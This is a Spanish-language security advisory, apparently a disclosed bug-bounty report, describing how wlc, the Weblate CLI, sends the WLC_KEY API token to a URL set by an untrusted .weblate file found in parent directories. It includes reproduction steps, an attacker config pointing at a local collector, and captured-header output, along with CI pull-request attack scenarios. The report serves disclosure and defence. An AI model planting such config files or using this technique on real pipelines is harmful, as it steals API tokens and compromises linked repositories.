Resumen
wlc es el cliente de línea de órdenes de Weblate. Para saber a qué servidor conectarse, lee dos tipos de configuración: la del usuario o global y, además, un fichero de proyecto (.weblate, .weblate.ini o weblate.ini). El problema estaba en cómo busca ese fichero de proyecto y en cómo decide qué token de API envía.
La función WeblateConfig.find_project_config busca el fichero en el directorio de trabajo y, si no lo encuentra, en todos los directorios superiores hasta la raíz. En cuanto encuentra uno, lo lee después de la configuración del usuario, así que su valor url tiene prioridad:
# wlc/config.py:67-94 @ 7c01e2f
@staticmethod
def find_project_config() -> str | None:
"""Find the nearest project configuration file."""
cwd = os.path.abspath(".")
prev = None
while cwd != prev: # walk CWD and every ancestor
for name in (".weblate", ".weblate.ini", "weblate.ini"):
conf_name = os.path.join(cwd, name)
if os.path.isfile(conf_name):
return conf_name # untrusted file controls [weblate] url
prev = cwd
cwd = os.path.dirname(cwd)
return None
def load(self, path=None) -> None:
if path:
...
else:
if config := self.find_config(): # user/global config
self.read(config)
if config := self.find_project_config(): # project config OVERRIDES url
self.read(config)
...
El token, en cambio, se obtiene sin tener en cuenta de dónde salió la URL:
# wlc/config.py:101-113 @ 7c01e2f
def get_url_key(self) -> tuple[str, str]:
url = (
self.cli_url
or os.environ.get("WLC_URL", "")
or cast("str", self.get(self.section, "url")) # <- from .weblate
)
key = (
self.cli_key
or os.environ.get("WLC_KEY", "") # <- the secret, origin-unbound
or cast("str", self.get("keys", url, fallback=""))
)
return url, key
Si el token está en la sección [keys], sí va asociado a una URL concreta (self.get("keys", url)): los mantenedores ya querían que cada clave solo se usase con su servidor, y el investigador relaciona ese endurecimiento con el CVE-2026-22251. Pero si existe la variable de entorno $WLC_KEY, que es lo que la propia documentación recomienda en integración continua, esa comprobación no se hace: el token se devuelve sea cual sea la URL, aunque venga de un .weblate ajeno. Después, invoke_request lo añade a la petición como Authorization: Token {self.key} (client.py:240-241) y lo envía a esa URL.
La función normalize_request_url no lo impide. Solo controla las URL que devuelve el servidor en relación con la URL base configurada, y aquí la URL base es precisamente la que ha puesto el atacante. En palabras del investigador, la garantía de que el token no salga hacia un origen inesperado existía para las URL que devuelve el servidor, pero no para la URL configurada.
Cualquier persona que pudiera colocar un .weblate en el camino de búsqueda podía redirigir el token: un pull request malicioso a un repositorio público, un repositorio clonado que no es de fiar o un fichero plantado en cualquier directorio superior.
Pasos de reproducción
- Clonar
wlc, situarse en el commit afectado y preparar un entorno virtual con las dependencias:
git clone https://github.com/WeblateOrg/wlc && cd wlc
git checkout 7c01e2f5a5bed48e50a134c96951a5b212f446a4
python3 -m venv venv && . venv/bin/activate
pip install "requests>=2.32" "urllib3>=2.0" python-dateutil pyxdg argcomplete
- Ejecutar el script de prueba del investigador:
python3 c01_weblate_config_exfil.py
El reporte no incluye el código del script, pero sí describe lo que hace: crea un repositorio temporal con un .weblate controlado por el atacante que contiene url = http://127.0.0.1:9100/api/, entra con cd en ese repositorio, exporta la variable WLC_KEY y ejecuta wlc list-projects.
- Observar lo que recibe el servidor del atacante en
127.0.0.1:9100. La cabeceraAuthorizationllega con el token deWLC_KEY(en la prueba era un valor de ejemplo; aquí se ha sustituido por [REDACTADO]):
attacker collector captured:
Host header : 127.0.0.1:9100
Authorization: Token [REDACTADO]
RESULT: *** WLC_KEY LEAKED TO REPO-CONTROLLED URL ***
Impacto
- Robo del token de API de Weblate por parte de cualquiera que pueda meter o modificar un fichero de configuración en el camino de búsqueda de la víctima.
- Con ese token, el atacante tiene los mismos permisos que la víctima en la API de Weblate: leer y modificar traducciones, lanzar
commit,push,pullyresetsobre los repositorios de control de versiones enlazados y borrar objetos. Si la cuenta tiene privilegios, también puede gestionar proyectos y componentes. - En integración continua el token es un secreto del pipeline. Perderlo puede afectar también a los repositorios de código a los que el proyecto de Weblate hace push.
- Escenario realista: un proyecto público ejecuta
wlc pushowlc pullen su CI, conWLC_KEYguardado como secreto y la URL sacada del repositorio descargado, que es el patrón documentado. El atacante abre un pull request que añade o modifica.weblatepara queurlapunte a su servidor. Si el runner es propio, también puede apuntar a cualquier máquina interna accesible. Cuando la CI ejecutawlc, el token acaba en manos del atacante.
Datos del reporte: severidad media; debilidad clasificada como Information Disclosure; CVE que figura en los metadatos de HackerOne: CVE-2026-22251. Se envió el 25 de junio de 2026 y se divulgó el 4 de septiembre de 2026, con estado "resuelto". El reporte no detalla cómo se corrigió.